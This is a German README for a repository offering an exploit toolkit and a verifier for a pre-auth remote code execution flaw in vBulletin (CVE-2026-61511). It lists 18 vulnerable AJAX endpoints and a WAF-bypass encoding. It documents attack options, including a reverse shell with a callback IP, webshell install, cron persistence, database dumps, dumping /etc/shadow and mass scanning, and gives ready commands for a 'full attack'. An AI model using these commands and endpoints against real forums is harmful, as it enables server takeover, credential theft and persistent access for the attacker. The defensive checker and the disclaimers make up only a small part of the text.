CVE-2026-61511 – vBulletin Pre‑Auth RCE Exploit & Verifier

⚠️ NUR ZUR ETHISCHEN NUTZUNG – AUTORISIERTE SICHERHEITSTESTS
Dieses Repository stellt Werkzeuge ausschließlich für autorisierte Sicherheitsexperten, Blue Teams und Penetrationstester bereit.
Unautorisierter Zugriff auf Computersysteme ist illegal gemäß CFAA (USA), Computer Misuse Act (UK), TCK 243/244 (Türkei) und ähnlichen Gesetzen weltweit.

---

📖 Schwachstellenübersicht

CVE‑2026‑61511 ist eine PHP-eval()-Injection-Schwachstelle in der AJAX-Template-Rendering-Engine von vBulletin.
Betroffene Versionen: 5.0.0 – 5.7.5 und 6.0.0 – 6.2.1.

So funktioniert es

1. Mehrere Angriffs-Endpunkte – der Fehler existiert in mehreren AJAX-Handlern:

   • /ajax/render/pagenav
   • /ajax/api/ad/replaceAdTemplate
   • /ajax/render/widget_php
   • /ajax/render/widget_tabbedcontainer_tab_panel
   • Verschiedene /ajax/api/content_* /getIndexableContent-Endpunkte

2. PHPFuck-Kodierung – die Payload wird in eine Sequenz von PHP-Operatoren und Zahlen umgewandelt, die WAF-Filter umgeht und die Ausführung beliebigen PHP-Codes ermöglicht.

3. Keine Authentifizierung erforderlich – ein Angreifer kann eine manipulierte POST-Anfrage an einen beliebigen verwundbaren Endpunkt senden und Systembefehle mit den Rechten des Webservers ausführen.

4. Auswirkung – vollständige Serverkompromittierung, Datendiebstahl, Backdoors, laterale Bewegung und Persistenz. Version aktualisieren!

Patch

• vBulletin 6.2.2 und Patch Level 1 für ältere Versionen beheben dieses Problem.
• Immer auf die neueste Version aktualisieren.

---

🧰 Werkzeuge

Werkzeug	Zweck	Zielgruppe
exploit.py	Vollständiges Toolkit mit Reverse Shell, Persistenz, Dateioperationen, Datenbank-Dump, Firewall-Verwaltung, Log-Verwaltung, Portweiterleitung, SSH-Key-Bereitstellung, Netzwerkscanning und Massenscanning (multithreaded).	Red Teams / autorisierte Pentester
safecheck.py	Nicht-intrusiver Verifier, der die Schwachstelle ohne Ausführung bösartiger Payloads prüft. Erkennt die Version, testet alle Endpunkte und erstellt einen detaillierten Bericht.	Blue Teams / Sicherheitsauditoren

---

📊 Funktionsvergleich

Funktion	exploit.py	safecheck.py
Schwachstellenerkennung	✅	✅
Versionserkennung	✅	✅
Multi-Endpunkt-Tests (18 Pfade)	✅	✅
Befehlsausführung	✅	❌
Reverse Shell	✅	❌
Datei-Upload/-Download	✅	❌
Persistenzmechanismen	✅	❌
Web-Shell-Bereitstellung	✅	❌
Datenbankoperationen	✅	❌
Systeminformationssammlung	✅	✅
Firewall-Verwaltung	✅	❌
Log-Verwaltung	✅	❌
Portweiterleitung	✅	❌
SSH-Key-Bereitstellung	✅	❌
Netzwerkscanning	✅	❌
Massenscanning (multithreaded)	✅	❌
Proxy-Unterstützung	✅	✅
JSON-Berichtsausgabe	✅	✅
Interaktives Menü	✅	❌
Nicht-intrusiver (sicherer) Modus	❌	✅
Verbose/Debug-Modus	✅	✅
Benutzerdefinierte Befehlsausführung	✅	❌
Multi-Befehl-Verkettung	✅	❌
Remote-Dateilesen	✅	❌
Remote-Dateischreiben	✅	❌
Systembenutzerverwaltung	✅	❌
Firewall-Bypass-Techniken	✅	❌
WAF-Umgehung (PHPFuck)	✅	✅

---

🎯 Anwendungsfall-Zusammenfassung

Szenario	Empfohlenes Werkzeug
Blue Team – Überprüfung, ob Ihre vBulletin-Installation verwundbar ist	safecheck.py
Sicherheitsaudit – nicht-intrusive Schwachstellenbewertung	safecheck.py
Red Team – autorisierte Penetrationstests mit vollständiger Ausnutzung	exploit.py
Bug Bounty – verantwortungsvolle Offenlegungstests	safecheck.py
Massenscanning – Überprüfung mehrerer Ziele auf Schwachstellen	exploit.py (nur Erkennung)
Incident Response – Überprüfung, ob Systeme kompromittiert sind	safecheck.py

---

⚙️ Installation

git clone https://github.com/tc4dy/CVE-2026-61511-PoC-Exploit
cd CVE-2026-61511-PoC-Exploit
pip install -r requirements.txt

Inhalt von requirements.txt:

request
urllib3

Parameter 🌬️

Parameter	Beschreibung
-t, --target	Ziel-URL (z. B. http://forum.com/vb)
--proxy	HTTP-Proxy (z. B. http://127.0.0.1:8080)
--timeout	Request-Timeout in Sekunden (Standard: 10)
--retry	Wiederholungsanzahl pro Pfad (Standard: 3)
--output	Detaillierten Bericht als JSON-Datei speichern
-v, --verbose	Ausführliche Ausgabe
-q, --quiet	Ruhiger Modus (minimale Ausgabe)
--lhost	Erforderlich für Exploit – IP für Callback
--lport	Port für Callback (Standard: 4444)
--threads	Threads für Massenscanning (Standard: 5)
--exploit	Ausnutzung nach Erkennung durchführen
--full	Vollständiger Angriff (alle Module)
--shell	Reverse Shell starten
--webshell	Webshell installieren (/shell.php)
--persist	Persistenz installieren (Cron-Job)
--dump	Datenbank dumpen
--dump-creds	Anmeldedaten dumpen (/etc/passwd, /etc/shadow)
--interactive	Interaktives Menü nach erfolgreicher Verifizierung

Szenarien

#	Szenario	Befehl
1	Schneller Schwachstellencheck	python safecheck.py -t http://target.com/vb
2	Detaillierter Scan mit Bericht	python safecheck.py -t http://target.com/vb --output report.json -v
3	Reverse Shell	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --lport 4444 --shell
4	Vollständiger Angriff (alle Module)	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --full
5	Massenscanning aus Datei	python exploit.py -l targets.txt --lhost 192.168.1.100 --threads 20 --output results.json
6	Interaktiver Menümodus	python exploit.py -t http://target.com/vb --lhost 192.168.1.100 --interactive

Endpunkt-Pool 🅿️

#	Endpunkt
1	/ajax/render/pagenav
2	/ajax/render/pagenav?template=page
3	/ajax/api/ad/replaceAdTemplate
4	/ajax/render/widget_php
5	/ajax/render/widget_tabbedcontainer_tab_panel
6	/ajax/api/content_infraction/getIndexableContent
7	/ajax/api/content_video/getIndexableContent
8	/ajax/api/content_text/getIndexableContent
9	/ajax/api/content_report/getIndexableContent
10	/ajax/api/content_redirect/getIndexableContent
11	/ajax/api/content_privatemessage/getIndexableContent
12	/ajax/api/content_poll/getIndexableContent
13	/ajax/api/content_photo/getIndexableContent
14	/ajax/api/content_link/getIndexableContent
15	/ajax/api/content_gallery/getIndexableContent
16	/ajax/api/content_event/getIndexableContent
17	/ajax/api/content_channel/getIndexableContent
18	/ajax/api/content_attach/getIndexableContent

🛡️ Verantwortungsvolle Nutzung

• Verwenden Sie diese Werkzeuge nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben.
• Unautorisierter Zugriff ist illegal und unethisch.
• Die Autoren sind nicht für jeglichen Missbrauch verantwortlich.
• Befolgen Sie stets die Gesetze und Vorschriften Ihres Landes.